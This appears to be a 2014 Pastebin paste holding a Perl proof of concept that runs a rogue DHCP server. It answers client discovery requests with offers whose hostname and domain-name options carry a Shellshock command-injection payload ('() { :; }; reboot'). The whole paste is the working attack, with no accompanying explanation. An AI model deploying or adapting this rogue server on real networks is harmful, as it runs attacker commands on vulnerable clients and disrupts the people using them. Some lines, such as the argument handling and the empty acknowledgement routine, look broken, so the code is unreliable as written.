Advertisement
Guest User

Untitled

a guest
Sep 24th, 2014
11,599
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.65 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # largely purloined from http://www.perlmonks.org/?node_id=1093916 as my PoC for the old options overflow proved too messy^wPerlish to rework - [machine]
  3.  
  4. use strict;
  5.  
  6. use IO::Socket;
  7. use Net::DHCP::Packet;
  8. use Net::DHCP::Constants;
  9.  
  10. my $server_ip = "10.10.10.1";
  11. my $client_ip = "10.10.10.10";
  12. my $subnet_mask = "255.255.255.0";
  13.  
  14. my $socket_in = IO::Socket::INET->new( LocalPort => 67, LocalAddr => "255.255.255.255", Proto => 'udp') or die $@;
  15.  
  16. while(1) {
  17. my $buf;
  18. $socket_in->recv($buf,4096);
  19. my $packet = new Net::DHCP::Packet($buf);
  20. my $messagetype = $packet->getOptionValue(DHO_DHCP_MESSAGE_TYPE());
  21. if ($messagetype eq DHCPDISCOVER()) {
  22. send_offer($packet);
  23. } elsif ($messagetype eq DHCPREQUEST()) {
  24. send_ack($packet);
  25. }
  26. }
  27.  
  28. sub send_offer {
  29. my $request = @_;
  30. my $socket_out = IO::Socket::INET->new( PeerPort => 68, PeerAddr => "255.255.255.255", LocalAddr => "$server_ip:67", Broadcast => 1, Proto => 'udp') or die $@;
  31. my $offer = new Net::DHCP::Packet(Op => BOOTREPLY(), Xid => $request->xid(), Flags => $request->flags(), Ciaddr => $request->ciaddr(), Yiaddr => $client_ip, Siaddr => $server_ip, Giaddr => $request->giaddr(), Chaddr => $request->chaddr(), DHO_DHCP_MESSAGE_TYPE() => DHCPOFFER());
  32. $offer->addOptionValue(DHO_SUBNET_MASK(), $subnet_mask);
  33. $offer->addOptionValue(DHO_NAME_SERVERS, $server_ip);
  34. $offer->addOptionValue(DHO_HOST_NAME, "() { :; }; reboot");
  35. $offer->addOptionValue(DHO_DOMAIN_NAME, "() { :; }; reboot");
  36. $socket_out->send($offer->serialize()) or die $!;
  37. print STDERR "sent offer\n";
  38. }
  39.  
  40. sub send_ack {
  41. print STDERR "send ack\n";
  42. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement